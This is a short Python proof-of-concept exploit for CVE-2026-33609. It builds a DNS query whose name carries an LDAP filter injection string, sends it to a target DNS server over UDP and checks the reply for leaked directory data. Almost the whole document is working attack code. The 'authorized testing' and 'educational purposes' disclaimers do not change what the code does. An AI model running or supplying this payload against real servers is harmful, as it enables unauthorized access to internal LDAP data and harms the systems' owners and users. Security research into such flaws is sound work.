The following code is for security research and authorized testing only.
python
import socket
import struct
# Proof of Concept for CVE-2026-33609
# This script demonstrates how to craft a DNS query that might trigger LDAP injection
# when 8bit-dns is enabled and escaping is incomplete.
def craft_dns_query(domain):
# Standard DNS Header: ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1
header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0)
# Question section
# Encoding the domain name
query_body = b''
for label in domain.split('.'):
query_body += bytes([len(label)]) + label.encode('utf-8')
query_body += b'\x00' # End of name
# Type A (1), Class IN (1)
query_body += struct.pack('!HH', 1, 1)
return header + query_body
def send_exploit(target_ip, target_port=53):
# Attempting to inject LDAP filter logic to query internal subtree
# In a real scenario, the payload would be crafted based on the specific LDAP backend schema
# Example payload trying to match any object in an internal subtree
payload = "internal.subtree*)(objectClass=*"
packet = craft_dns_query(payload)
try:
print(f"[*] Sending crafted DNS query to {target_ip}...")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(packet, (target_ip, target_port))
# Try to receive a response
response, _ = sock.recvfrom(1024)
print(f"[+] Received response (length: {len(response)} bytes)")
# Analyze response to check if information disclosure occurred
print("[!] Check response data for leaked LDAP structure or values.")
except socket.timeout:
print("[-] Request timed out.")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
# Note: This is for educational purposes only.
# send_exploit("192.168.1.10")